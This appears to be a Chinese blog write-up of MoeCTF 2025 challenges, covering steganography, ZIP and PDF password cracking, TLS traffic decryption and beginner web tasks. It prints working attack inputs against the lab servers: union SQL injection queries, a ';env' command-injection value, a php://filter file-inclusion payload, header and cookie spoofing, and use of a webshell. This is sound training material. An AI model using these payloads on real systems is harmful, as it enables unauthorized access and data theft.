moectf2025wp
签到
flag在提示里。
安全杂项
Misc入门指北
直接搜索栏搜索”ctf”,拉到最下,发现:
这里复制即可。
Pyjail 0
flag位于环境变量中

Pyjail 1

ez_LSB
lsb隐写,直接zsteg。
然后再base64解码即可获得flag。
ez_锟斤拷????
百度一下:锟斤拷是中文互联网环境中常见的乱码字符组合,主要由编码转换错误引发 。该现象多出现在GBK与Unicode编码系统兼容性不足的场景,表现为连续无意义的汉字排列,例如”锟届瀿锟斤拷”等形态。
这里直接gpt写脚本转换一下。
1 | a = "锝嶏綇锝咃絻锝旓絾锝涳讥锝庯迹锛愶絼锛戯綁锝庯絿锛匡絿锝傦极锛匡紶锝庯激锛匡嫉锝旓絾锛匡紭锛匡紤锝擄伎锛旓綍锝庯紒锛侊絽锝楋綏锝楋綏锝濇伃鍠滀綘寰楀埌寮楁媺鏍煎悗闈㈠叏鏄敓鏂ゆ嫹閿熸枻鎷烽敓鏂ゆ嫹" # 你看到的乱码 |
得到flag:moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}恭喜你得到弗拉格后面全昔斤拷锟斤拷锟斤拷。
什么是半角字符:半角字符(Half-width Character)是指宽度为一个标准英文字符(1字节)的字符。
直接脚本转换
1 | a = "锝嶏綇锝咃絻锝旓絾锝涳讥锝庯迹锛愶絼锛戯綁锝庯絿锛匡絿锝傦极锛匡紶锝庯激锛匡嫉锝旓絾锛匡紭锛匡紤锝擄伎锛旓綍锝庯紒锛侊絽锝楋綏锝楋綏锝濇伃鍠滀綘寰楀埌寮楁媺鏍煎悗闈㈠叏鏄敓鏂ゆ嫹閿熸枻鎷烽敓鏂ゆ嫹" # 你看到的乱码 |
最后得到flag。
weird_photo
CRC校验改宽高
1 | import binascii |
SSTV
解压后获得一个.wav文件。
百度一下:慢扫描电视(Slow-scan television)是业余无线电爱好者的一种主要图片传输方法,慢扫描电视通过无线电传输和接收单色或彩色静态图片。
接着搜索SSTV解码,我这里直接使用在线解码工具。

encrypted_pdf
这题是爆破pdf密码。
文本文件里提示:
I am so forgetful…
So I will use a password that is simple enough.
密码很简单。
我便用pdfcrack进行爆破,但不知道对应字段,感觉很费时间,于是放弃。
接着,改用kali自带的rockyou 字典进行爆破,最后得到密码。

qwe123是一个弱密码
接着打开pdf,便有flag了

捂住一只耳
结合题目,应该某一声道有内容,直接丢进Audacity。

上面有异常,且是一长一短,盲猜摩斯密码。使用在线解码网站解码即可。

Enchantment
流量分析题,还没做过,尝试一下,边学边做吧。🙂
使用wireshark,找到png图片的包。

然后获取图片。

然后搜索附魔台文字相关进行翻译。
the flag is below
now you have
mastered enchanting
ez_ssl
根据题目提示进行查阅:
SSL(Secure Socket Layer)安全套接层是Netscape公司率先采用的网络安全协议。它是在传输通信协议(TCP/IP)上实现的一种安全协议,采用公开密钥技术。SSL广泛支持各种类型的网络,同时提供三种基本的安全服务,它们都使用公开密钥技术。
那么我们便知道,流量数据是被加密过的。
查看流量包,右侧可见ssl.log字样。

下方发现一些可疑数据
CLIENT_RANDOM 5cc9d58e7bf72668c8c7ca13915b43530206bc57523a3dc06420f47291081bf70 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM 523878d7689e894823485b8f32727c779f8605866423eab6f4cc16c9df1cfb33 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM ccfba4dd12e374afd300f296b691e12b70f9d5f8be0458782887763c8a54626e 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM c8e817f2efcee3be9290aa075919f50f329be997b124487d02a1850e48c4292d 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
应该是泄露的密钥,接着进行密钥导入。
点击“编辑“,再选择”首选项“,选择”protocols“,找到”TLS“,
打开wireshark,选择“编辑“,找到”首选项“,在(Pre)-Master-Secret-Log filename进行导入。然后我们便能看到,多了几个流量包。并发现了疑似zip文件,如下图

提取出来,然后发现打不开,放到编辑器里面去,发现有真加密。
ZIP 文件结构最后有个 End of Central Directory (EOCD) 记录,其中有一个字段 ’comment‘,出题人常常在这里写提示信息。
E5 AF 86 E7 A0 81 E4 B8 BA 37 E4 BD 8D E7 BA AF E6 95 B0 E5 AD 97
16进制转utf8得到:
密码为7位纯数字
并且在尝试解压的过程中,也会有相应信息告诉我们密码是七位数字,如下所示:

接着进行爆破:

得到密码:6921682
然后将zip文件丢进kali进行解压。
1 | unzip -P 6921682 flag.zip |
发现解压不了。经查阅是压缩算法问题,于是改用7z解压
1 | 7z x flag3.zip -p6921682 |
得到相应文件

最后进行Ook!解密即可获得flag。

WebRepo
题目给了一个WebRepo.webp,这个格式在线识别网站时识别不了的,遂用在线网站转换文件格式再识别,得到如下:

ok,那就用binwalk看一下,发现有一个7z压缩包,将它提取出来并解压获得一个.git文件,

接着如下找到flag相关内容:

接着执行:
1 | git cat-file -p 03f7841506c9eec4690ba0de326f657732fcb5bc |
获得flag:moectf{B1NwA1K_ANd_g1t_R3seT-MaG1C}
ez_png
题目提示:某些数据段的长短似乎不太协调。pngcheck一下:

发现多个IDAT数据块,且有长度异常,在这里我尝试了许久,删除部分数据块,并不能爆出flag。emmm那就zsteg一下,结果发现有额外的数据存在。

1 | zsteg -e extradata:0 ez_png.png > flag.txt |
提取出来,查看提取出的flag.txt文件,并分离。最终得到flag。

万里挑一
这题也是搞了好久终于搞定了。
首先是一个压缩包套娃。通过脚本将密码写入字典
1 | import zipfile, io, re |
接着爆破即可得到lock.zip的密码
后面这个部分真的磨了很久
flag.zip中有两个文件flag.txt,和明文.exe,这里是明文攻击,于是我便去查找有关的题解,但是并没有已知明文文件(这里也是思维定势了)
实际上我们只需要获得一定字节的明文就行了
压缩包里有文件明文.exe,这是一个Windows可执行程序。
EXE 文件开头必然是固定头(PE 文件头):
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
这里我们可以提取出来作为已知明文
1 | printf "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" > known.bin |
接着使用bkcrack

这里获得三个密钥
然后运行如下即可获得flag:
1 | ./bkcrack -C ~/桌面/flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt.dec |
moectf{Y0u_h4v3_cho5en_7h3_r1ght_z1pf1le!!uysdgfsad}
WEB
也是啥都不会边学边做吧。/(ㄒoㄒ)/~~
Web入门指北
打开文本文件,全是字符,经查阅得知是JSFuck。
一种仅使用 6 个字符(
[,],(,),!,+)编写有效 JavaScript 代码的编码方式。它的原理是通过类型转换和 JavaScript 的弱类型特性,将字符拼凑成可执行的代码。
控制台运行后即可得到flag。
第一章 神秘的手镯
控制台中输入以下:
1 | document.getElementById('passwordInput').value = CORRECT_PASSWORD; |
即可绕过,获得flag。
第二章 初识金曦玄轨
抓包即可,查看响应包,能看到flag明文。如下图所示:

第三章 问剑石!篡天改命!
改包发包即可。


moectf{gEt_POSt_Tr@nSM1SSI0n_1S-4-gO0d-m3thOD!!l118}
第五章 打上门来!
查阅后知道是,路径遍历漏洞。
经过一些基本尝试后得到flag

Moe笑传之猜猜爆
在控制台中输入:
1 | randomNumber=1 |
选定随机数,输入“1”,即可获得flag。
第四章金曦破禁与七绝傀儡阵
一步步来,改包放包即可。
本人是个懒逼这里直接放出通关的解答:
第一关:守门傀儡·磐石
一尊形如巨龟、背负厚重石甲的傀儡堵在通道入口,双目红光闪烁,散发着重如山岳的压迫感。其胸口核心处,一块玉板闪烁着微光,上书:”欲过此关,需诵真言,启吾心窍,示之以’秘钥’(xdsec)。”HDdss立刻取出破阵罗盘,神念沉入。傀儡周围,立刻浮现出清晰的金色玄轨流动。他”看”到,傀儡的核心禁制在等待一个特定的”玄轨真言”。结合玉板提示,”示之以秘钥”即需要将秘钥”xdsec”传递给傀儡。
“真言起手式……应是’取’(GET)。”HDdss心中明悟,神念凝聚,通过罗盘构筑真言:
GET /?key=xdsec HTTP/1.1 Host: 磐石傀儡
关键:使用GET方法,将参数key=xdsec附加在路径之后
真言发出!磐石傀儡核心光芒一闪,厚重的石甲缓缓移开,露出通道,一枚通关玉简悬浮而出。”第一关,过!”HDdss信心大增。第二关:织云傀儡·流风
通道尽头,一尊形似仙鹤、身披流云纹路的傀儡轻盈悬浮,双翼微振,带起道道锋利风刃。其核心玉板:”吾慕织云,欲争魁首。以汝真言,告之宗门:’织云阁=第一’。”提示明确需要传递”织云阁=第一”这个信息。HDdss再次驱动罗盘探查玄轨,发现此傀儡的禁制核心更倾向于接收”深藏”的真言本意(Body),而非显露于外的路径参数。且信息中包含中文!
“需用’呈’(POST)之法,真言本意深藏,并以’转生符’(URL编码)化之!”HDdss迅速判断。他回忆K皇所授,意念凝聚,构筑真言:
POST /declare HTTP/1.1 Host: 织云傀儡 Content-Type: application/x-www-form-urlencoded %E7%BB%87%E4%BA%91%E9%98%81%3D%E7%AC%AC%E4%B8%80
关键:使用POST方法;设置Content-Type为表单编码;Body部分将”织云阁=第一”进行URL编码:%E7%BB%87%E4%BA%91%E9%98%81=织云阁,%3D==,%E7%AC%AC%E4%B8%80=第一
真言发出!织云傀儡发出一声清唳,周身风刃消散,流云纹路光芒流转,显得极为愉悦。第二枚玉简落下。第三关:溯源傀儡·匿影
此关傀儡形如鬼魅,身形飘忽不定,仿佛融入阴影。玉板提示:”非吾同源,难近吾身。唯’本地之灵’,方得信任。”“本地之灵?”HDdss皱眉。K皇曾提过”本我溯源”(X-Forwarded-For)敕令可伪装源头!此关之意,是要求真言必须看起来像是从”本地”(127.0.0.1)发出的!
他立刻构筑真言,并在敕令(Headers)中加入关键伪装:
GET /trusted HTTP/1.1 Host: 溯源傀儡 X-Forwarded-For: 127.0.0.1
关键:在Headers中添加X-Forwarded-For: 127.0.0.1,伪装请求来源为本地
真言发出!匿影傀儡身形一滞,仿佛确认了什么,缓缓退入阴影,让开通道。第三枚玉简浮现。第四关:器灵傀儡·辨微
一尊通体由精密水晶构成的傀儡,无数光点在体内流转,如同审视万物的眼睛。玉板:”吾识万灵,唯爱’萌物’。非’萌灵之器’,拒之门外。”“萌物?萌灵之器?”HDdss略一思索,想起K皇提过的”器灵之证”(User-Agent)。此关要求,必须使用特定的、被傀儡识别为”萌物”的浏览器(如moe browser)发出的请求!
他驱动罗盘,模拟修改敕令:
GET /access HTTP/1.1 Host: 器灵傀儡 User-Agent: moe browser
关键:修改User-Agent Header为moe browser,伪装成特定浏览器访问
真言发出!水晶傀儡体内光点欢快地跳跃,发出悦耳的叮咚声,让开道路。第四枚玉简入手。第五关:心印傀儡·窃玉
此关傀儡身着华服,面容模糊,手持一枚不断变幻的令牌。玉板:”吾持心印,变幻莫测。欲破此关,以’xt’之名,攻吾之隙!”“‘以xt之名’!”HDdss瞳孔一缩。这分明是暗示要窃取或冒充xt长老的身份印记!K皇所授的”心印之痕”(Cookie)正是关键!他需要找到xt长老在此傀儡禁制中留下的身份”Cookie”,并将其篡改为xt!
他先用罗盘正常发出一个探查请求(GET /),观察傀儡的回应(Response)。在回应的敕令(Headers)中,果然发现一行:
Set-Cookie: user=HDdss; Path=/
这显然是傀儡根据他的核心弟子令牌临时赋予的身份印记(Cookie),当前用户是HDdss。“需要将后续请求中的这个user值,改为’xt’!”HDdss立刻构筑攻击真言:
GET /attack HTTP/1.1 Host: 心印傀儡 Cookie: user=xt
关键:在后续请求的Headers中,携带修改后的Cookie:user=xt,冒充xt的身份
真言发出!心印傀儡手中的令牌瞬间定格,华服身影一阵扭曲模糊,发出不甘的嘶鸣,随即僵立不动。第五枚玉简落下。HDdss心中凛然,这”心印之痕”果然至关重要,可窃取身份,行僭越之事!第六关:前尘傀儡·引路
一尊背负巨大书简的傀儡,书简上无数光字流转。玉板:”无根之木,无源之水。汝从何来?需有’引路之证’。”“引路之证?从何而来?”HDdss立刻联想到”前尘引路”(Referer)敕令。此关要求,发出的真言必须包含”引路之证”,即标明这个请求是从哪个”前站”(页面/URL)链接或跳转过来的!
他推测,只有标明是从某个特定地方(比如第一关的入口)来的请求,才会被认可。他尝试构筑真言:
GET /pass HTTP/1.1 Host: 前尘傀儡 Referer: http://磐石傀儡/entry
关键:在Headers中添加Referer字段,指明请求来源是”磐石傀儡的入口”
真言发出!书简傀儡背上的光字停止流转,组合成一道光门。第六枚玉简从中飞出。第七关:逆转傀儡·归墟
最后一关,傀儡造型最为古朴,如同一个巨大的青铜鼎炉,炉口幽深,仿佛能吞噬一切。玉板只有一句晦涩真言:”阴阳逆乱,归墟可填。以’覆’代’取’,塑吾新生。”“‘覆’代’取’?”HDdss凝神思索。K皇所授方法中,”取”(GET)是获取,”呈”(POST)是提交,”覆”(PUT)则常用于更新或替换整个资源!此关之意,是要求使用不常用的”PUT”方法,去完成某种”覆盖”或”塑造”的操作!
他驱动罗盘,仔细探查鼎炉傀儡的玄轨。发现其核心禁制对标准的GET/POST真言毫无反应,仿佛在等待一种特定的、更具”覆盖性”的指令。
“就是’覆’(PUT)!”HDdss下定决心,构筑真言:
PUT /rebirth HTTP/1.1 Host: 逆转傀儡 Content-Type: text/plain 新生!
关键:使用PUT方法;简单设置Content-Type;在Body中传递一个象征”新生”的信息
真言发出!青铜鼎炉剧烈震动,炉口幽光爆发,随即缓缓收敛平息,鼎身浮现出玄奥的符文。一枚比其他六枚更加璀璨、蕴含着丝丝空间波动的玉简缓缓升起。七绝傀儡阵,通关!HDdss长舒一口气,额角已见汗珠。连续七关,每一关都需要精准理解禁制意图,并运用对应的”金曦破禁真言”进行修改或构造,心神消耗巨大。但收获同样巨大!他对”玄轨真言”的结构、各敕令的妙用、以及不同方法(GET/POST/PUT)的差异,有了更深切、更实战化的理解,这远比枯坐听讲领悟深刻百倍!
收起七枚玉简,尤其是那枚空间波动最强的第七关玉简,HDdss转身离开七绝傀儡阵。他知道,这枚玉简不仅是通关凭证,更可能指向下一个任务或机缘。手腕上,K皇的虚影悄然浮现,带着一丝嘉许:”孺子可教。金曦破禁,已得三分真味。然此术浩瀚,日后更需勤修不辍。这’归墟玉简’……或许与老夫所需之’引魂玉’线索有关。且回听竹小筑,细细参研。”
流云峰上,竹影婆娑。HDdss的身影消失在通往听竹小筑的青石小径上,心中充满了对更高境界的渴望和对未知线索的期待。金曦破禁之术,将成为他在仙门立足、探寻K皇过往、乃至攀登更高峰的利器。而玄天剑宗的暗流,似乎也随着他在傀儡阵中的表现,开始悄然涌动。
最后还要进行一步base64解码
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}
第六章 藏经禁制?玄机初探!
最最最基础的sql注入。

第七章 灵蛛探穴与阴阳双生符
考察robots协议,以及MD5碰撞。


以上代码需要两个条件:
- 值不相等
- 有相等的MD5哈希值

第八章 天衍真言,星图显圣
这题考联合注入,以下是我的步骤:
1 | ?username=' or 1=1 --+&password= |
回显了Welcome admin,说明注入成功。
1 | ?username=' or 1=1 order by 2 --+&password= |
判断列数为两列。(union注入前后列数需相同)
1 | ?username=-1' union select 1,2 --+&password= |
接着判断注入点在1位置上。
1 | ?username=-1' union select schema_name,2 from information_schema.schemata--+&password= |
查询数据库名:information_schema
1 | ?username=-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+&password= |
接着查询表名,并且回显出flag,users两表
1 | ?username=-1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database()--+&password= |
接着查询字段名,回显value,username,password,三列。
1 | ?username=-1' union select value,2 from flag--+&password= |
最后查询value即可获得flag
第十章 天机符阵
经过大量的搜索查询后得知是XXE漏洞,方法如下

第十章 天机符阵_revenge
同XXE漏洞,方法如下

第十一章 千机变·破妄之眼
题目说:GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。
也就是有5×4×3×2×1=120种,让gpt写个脚本爆破一下
1 | # -*- coding: utf-8 -*- |
最后成功返回URL: http://127.0.0.1:45657/find.php
此题是一道文件包含漏洞的题。
接着使用PHP内置伪协议将内容以base64形式输出
/find.php?file=php://filter/convert.base64-encode/resource=flag.php
最后的到
1 PD9waHANCmVjaG8gImZsYWflsLHlnKjov5nkuobvvIznnIvkuI3liLDlkJfvvIzmmK/ogIHlvJ/looPnlYzkuI3lpJ/lkKciOw0KLy9tb2VjdGZ7MzdmNTFlNjAtZmJjOC0zYWM0LTIwNjUtMWNiNDNmOTc1M2JlfQ==
第十二章 玉魄玄关·破妄
这题考察蚁剑的使用
题目给了一个一句话木马,连接后在目录里找一直找不到,后来知道,flag也可能藏在环境变量中。
1 env | grep -i flag最后得到flag
第九章 星墟禁制·天机问路
这题是命令注入,未对url参数进行过滤和验证。
1 /?url=;envflag在环境变量中
- 标题: moectf2025wp
- 作者: xhxbb
- 创建于 : 2025-08-17 21:13:37
- 更新于 : 2025-10-12 12:27:24
- 链接: https://xhxbb1.github.io/2025/08/17/moectf2025wp/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
